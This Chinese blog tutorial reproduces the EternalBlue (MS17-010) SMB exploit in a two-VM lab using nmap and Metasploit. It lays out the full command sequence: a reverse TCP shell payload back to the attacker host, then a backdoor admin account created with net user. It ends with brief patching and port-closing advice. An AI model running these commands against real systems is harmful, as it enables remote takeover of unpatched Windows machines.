《MS17-010(永恒之蓝)—漏洞复现及防范》
作者: susususuao
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
一. 什么是永恒之蓝?
- 永恒之蓝
永恒之蓝(Eternal Blue)是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。而SMB服务是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。通过 SMB 协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机、邮件槽(mailslot)、命名管道等资源。而永恒之蓝则通过TCP端口(445)和(139)端口来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器里进行一系列的危险操作。 如远程控制木马,获取最高权限等。
- 危害
恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。影响版本可以参考MS17-010介绍。
二. 复现MS17-010漏洞
1. 环境部署
- 靶机 : Windows 7虚拟机 IP:192.168.5.139
- 攻击机 :Kali-Linux-2021虚拟机 IP:192.168.5.133
2. 工具
这里就使用Kali自带的Metasploit工具。
MSF是一款高度模块化,即框架由多个module组成,是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。MSF涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试。是全球最受欢迎的工具。
3. 开始复现
- MS17-010漏洞是通过TCP端口445端进行远程代码执行的,所以我们在Kali先对Window 7进行Nmap扫描看看是否开启了445端口。
# nmap -v 192.168.5.139 //进行端口信息扫描,发现445端口是开发中的。

- 通过执行msfconsole指令进行启动
# msfconsole //启动

- 搜索ms17-010相关漏洞利用模块
msf6 > search ms17_010 //搜索相关模块,其中下面框出的一个是辅助模块一个是攻击模块。

- 进入auxiliary辅助模块,对 Window 7进行扫描,查看是否存在漏洞。
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.5.139 //这里直接输入靶机IP,不用输入所在网段。
rhosts => 192.168.5.0/24
msf6 auxiliary(scanner/smb/smb_ms17_010) > set threads 15 //设置线程,越大越快
threads => 15
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options //查看刚才设置有没有生成
msf6 auxiliary(scanner/smb/smb_ms17_010) > run //开始运行
这里说明192.168.5.139的主机存在该漏洞,所以我们可以对它进行攻击入侵。
- 进行exploit攻击模块,配置相关参数开始入侵。
msf6 auxiliary(scanner/smb/smb_ms17_010) > back //退出辅助模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue //进入攻击模块
msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets //可以查看那些系统可以复现。
**设置漏洞利用完成后的反弹模块,用以接收回馈信息:**
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads //查看有哪些载荷
msf6 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell //过滤出我们需要的载荷
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp //使用这个载荷
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.5.133 //设置反弹IP地址(Kali)
lhost => 192.168.5.133
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 4444 //设置反弹端口
lport => 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.5.139 //设置被攻击的目标主机IP(Window 7)
rhosts => 192.168.5.139
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options //查看是否设置成功
msf6 exploit(windows/smb/ms17_010_eternalblue) > run //运行
出现下面显示则说明已经入侵成功

- 操控Windows 7
C:\Windows\system32>ipconfig //我们会发现乱码
C:\Windows\system32>chcp 65001 //改变代码页(65001为UTF-8的代码页)
chcp 65001
Active code page: 65001
C:\Windows\system32>ipconfig //这回我们发现可以正常显示了
C:\Windows\system32>net user admin admin /add 创建admin用户,密码为admin。
更多相关用法可以在网上搜索,在这我就不罗列出来了!
三. MS17-010漏洞防范
这里我们知道MS17-010漏洞是利用SMB服务漏洞入侵的,而SMB服务使用的是TCP端口(445)和(139)端口,所以我们可以通过下面方法进行防范,在这我就不在演示了。
- 关闭不必要的端口,尤其是445端口。
- 打开防火墙,安装安全软件。
- 安装对应补丁。
四. 总结
为了维持操作系统的安全性,减少不必要的损失,我们要对操作系统及时进行更新系统,安装相关补丁,关闭不必要的服务和端口。
《MS17-010(永恒之蓝)—漏洞复现及防范》的更多相关文章
- 简单物联网:外网访问内网路由器下树莓派Flask服务器
最近做一个小东西,大概过程就是想在教室,宿舍控制实验室的一些设备. 已经在树莓上搭了一个轻量的flask服务器,在实验室的路由器下,任何设备都是可以访问的:但是有一些限制条件,比如我想在宿舍控制我种花 ...
- 利用ssh反向代理以及autossh实现从外网连接内网服务器
前言 最近遇到这样一个问题,我在实验室架设了一台服务器,给师弟或者小伙伴练习Linux用,然后平时在实验室这边直接连接是没有问题的,都是内网嘛.但是回到宿舍问题出来了,使用校园网的童鞋还是能连接上,使 ...
- 外网访问内网Docker容器
外网访问内网Docker容器 本地安装了Docker容器,只能在局域网内访问,怎样从外网也能访问本地Docker容器? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装并启动Docker容器 ...
- 外网访问内网SpringBoot
外网访问内网SpringBoot 本地安装了SpringBoot,只能在局域网内访问,怎样从外网也能访问本地SpringBoot? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装Java 1 ...
- 外网访问内网Elasticsearch WEB
外网访问内网Elasticsearch WEB 本地安装了Elasticsearch,只能在局域网内访问其WEB,怎样从外网也能访问本地Elasticsearch? 本文将介绍具体的实现步骤. 1. ...
- 怎样从外网访问内网Rails
外网访问内网Rails 本地安装了Rails,只能在局域网内访问,怎样从外网也能访问本地Rails? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装并启动Rails 默认安装的Rails端口 ...
- 怎样从外网访问内网Memcached数据库
外网访问内网Memcached数据库 本地安装了Memcached数据库,只能在局域网内访问,怎样从外网也能访问本地Memcached数据库? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装 ...
- 怎样从外网访问内网CouchDB数据库
外网访问内网CouchDB数据库 本地安装了CouchDB数据库,只能在局域网内访问,怎样从外网也能访问本地CouchDB数据库? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装并启动Cou ...
- 怎样从外网访问内网DB2数据库
外网访问内网DB2数据库 本地安装了DB2数据库,只能在局域网内访问,怎样从外网也能访问本地DB2数据库? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装并启动DB2数据库 默认安装的DB2 ...
- 怎样从外网访问内网OpenLDAP数据库
外网访问内网OpenLDAP数据库 本地安装了OpenLDAP数据库,只能在局域网内访问,怎样从外网也能访问本地OpenLDAP数据库? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装并启动 ...
随机推荐
- 使用sync.Once实现高效的单例模式
1. 简介 本文介绍使用sync.Once来实现单例模式,包括单例模式的定义,以及使用sync.Once实现单例模式的示例,同时也比较了其他单例模式的实现.最后以一个开源框架中使用sync.Once实 ...
- T-Dubbo,最好的RPC接口测试工具,支持nacos、zookeeper两大主流注册中心,真香!
这可能是有史以来最好用的RPC接口测试工具 文末有视频简介 获取方式 一只小Coder 简介 T-Dubbo,是一个基于Dubbo的全自动RPC接口测试平台为当下最流行的微服务架构中的RPC接口提供了 ...
- Kafka 集群调优
更多内容,前往 IT-BLOG 单个 kafka服务器足以满足本地开发或 POC要求,使用集群的最大好处是可以跨服务器进行负载均衡,再则就是可以使用复制功能来避免因单点故障造成的数据丢失.在维护 Ka ...
- 3.HTTP协议
HTTP协议 目录 HTTP协议 1.常见HTTP客户端 思考 1.网络协议为什么要分层? 2.www包含了哪些技术? 3.http请求/响应报文包含了哪些内容? 4.http特点有哪些? 2.代理的 ...
- 为什么 Python、Go 和 Rust 都不支持三元运算符?
在编程时,我们经常要作条件判断,并根据条件的结果选择执行不同的语句块.在许多编程语言中,最常见的写法是三元运算符,但是,Python 并不支持三元运算符,无独有偶,两个最热门的新兴语言 Go 和 Ru ...
- Cisco RV32X系列路由器 从1day分析到0day挖掘
前言 拿到一个iot设备,笔者比较喜欢先去看一下它的历史漏洞,也许可以从中得到一些启发.发现Cisco之前修补过这个系列设备的命令注入漏洞. https://sec.cloudapps.cisco.c ...
- [网络/Java EE/Web]Tomcat/Nginx中配置全局的安全响应头(header)——X-Frame-Options / X-XSS-Protection / X-Content-Options
Step1 配置Tomcat step1.1 查看是否已配置目标的HTTP网络安全头 方式1 – Tomcat / conf/web.xml cat /opt/myTomcat/conf/web.xm ...
- Java中ThreadLocal的用法和原理
用法 隔离各个线程间的数据 避免线程内每个方法都进行传参,线程内的所有方法都可以直接获取到ThreadLocal中管理的对象. package com.example.test1.service; i ...
- nginx 极简教程
什么是 Nginx? Nginx (engine x) 是一款轻量级的 Web 服务器 .反向代理服务器及电子邮件(IMAP/POP3)代理服务器. 什么是反向代理? 反向代理(Reverse Pro ...
- C++ sizeof与strlen,并借此明晰内存对齐
前言 sizeof()与strlen()都是为了获取对象的长度.在正常编写C++的算法程序代码时,可能这两个都很少用到,因为各种stl容器的封装已经给了我们很大的便利,比如我们在想要获取自定义的vec ...